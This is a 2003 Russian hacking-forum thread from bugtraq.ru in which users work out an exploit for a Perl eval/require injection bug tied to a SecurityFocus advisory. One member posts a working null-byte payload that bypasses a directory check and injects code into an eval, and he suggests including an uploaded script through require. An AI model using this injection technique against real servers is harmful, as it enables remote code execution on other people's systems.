информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
За кого нас держат?Портрет посетителяСетевые кракеры и правда о деле Левина
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / hacking
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Заработало!!! 06.05.03 18:10  Число просмотров: 1419
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
вот что у меня заработало:

.%00" if (1==0) ; print "bbb\n";#

печатает bbb
Проверял на таком скрипте:

;---------------Begin clipboard---------------------------------------------
#!perl -n
$some_file = 'filename';
$mydir=$_ ;
$mydir =~ s/^([\d\w]+)$/$1/; #<= провекра №1 , имхо оно ничего не проверяет)
unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2

$code = 'require '. "\"$mydir/" .$some_file. '.pm"; ';
eval $code;
print $@ ; #это для дебага :)
;---------------End clipboard---------------------------------------------
версия перла: v5.6.0 built for MSWin32-x86-multi-thread
<hacking>
Знатоки перла Help!!! - Perl injection. 02.05.03 22:32  
Автор: fuckyoudude Статус: Незарегистрированный пользователь
Отредактировано 02.05.03 22:33  Количество правок: 2
<"чистая" ссылка>
есть скрипт на перле, что-то вроде:

$some_file = 'filename';

$mydir =~ s/^([\d\w]+)$/$1/; #<= провекра №1 , имхо оно ничего не проверяет)
unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2

$code = 'require '. "\"$mydir/" .$some_file. '.pm"; ';
eval $code;

Проблема в следующем, нужно так сформировать $mydir, чтобы обойти проверки 1 и 2 (помоему только 2), и втиснуть system(); в переменную $code, ну и потом собсно еval ее :)
обойти проверки на наличии директории я смог обойти с помощью вставки точки и нулевого символа (%2e%00), но не могу правильно вставить выражение в $code.

Жду Ваших предложений.

Заработало!!! 06.05.03 18:10  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
вот что у меня заработало:

.%00" if (1==0) ; print "bbb\n";#

печатает bbb
Проверял на таком скрипте:

;---------------Begin clipboard---------------------------------------------
#!perl -n
$some_file = 'filename';
$mydir=$_ ;
$mydir =~ s/^([\d\w]+)$/$1/; #<= провекра №1 , имхо оно ничего не проверяет)
unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2

$code = 'require '. "\"$mydir/" .$some_file. '.pm"; ';
eval $code;
print $@ ; #это для дебага :)
;---------------End clipboard---------------------------------------------
версия перла: v5.6.0 built for MSWin32-x86-multi-thread
Круто :) спасибо!!! можно посылать эксплоит на www.securityfocus.com :-) 06.05.03 21:09  
Автор: fuckyoudude Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Знатоки перла Help!!! - Perl injection. 04.05.03 12:22  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
> Жду Ваших предложений.
>

я попробовал такую штуку:
.%00;print aaa;
Не проходит - как только он не находит то что хочет require - он тут же прекращает eval.
А что если? 04.05.03 12:27  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
просто закачать свой скрипт на сервак и прямо в require его подсунуть.
А что если? 04.05.03 22:36  
Автор: fuckyoudude Статус: Незарегистрированный пользователь
Отредактировано 04.05.03 22:43  Количество правок: 2
<"чистая" ссылка>
> просто закачать свой скрипт на сервак и прямо в require его
> подсунуть.
а тест на наличие директории?
unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2

дело в том, что я знаю расположение скрипта, который подключается,
т.е. получается вроде того , что мы вводим имя директории, а скрипт уже сам из нее нужный ему файл подключает,вся проблема как раз в проверке на наличие директории, мы ее обходим, и у нас не работает require, а сл. и код далее в eval

unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2
$code = 'require '. "\"$mydir/" .$some_file. '.pm"; ';
eval $code;

Надо сделать что бы и проверка прошла и require нашел свой файл .
Вроде как это возможно :)

PS> если это поможет,
я пытаюсь написать эксплоит для этого
http://www.securityfocus.com/bid/7361
А что если? 05.05.03 16:53  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
> > просто закачать свой скрипт на сервак и прямо в
> require его
> > подсунуть.
> а тест на наличие директории?
> unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2

Поясняю что я имел в виду:
если у тебя есть возможность создать файл на данном серваке, с заданным именем, например /tmp/111/filename
то ты можешь передать '/tmp/111' в качестве $mydir и он просто инклюднет твой файл, выполняя все комманды в нем прописанные. Но для этого надо иметь права создавать такие файлы.

> Надо сделать что бы и проверка прошла и require нашел свой
> файл .
> Вроде как это возможно :)

Пока я не вижу такой возможности. Проверку -d можно обойти при помощи %00, но это обрубит работу require т.к. там вызывается creat() который тоже обрубается на нульбайте.

> PS> если это поможет,
> я пытаюсь написать эксплоит для этого
> http://www.securityfocus.com/bid/7361

ща, посмотрим :) пиши если что на мой_ник@mail.ru
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach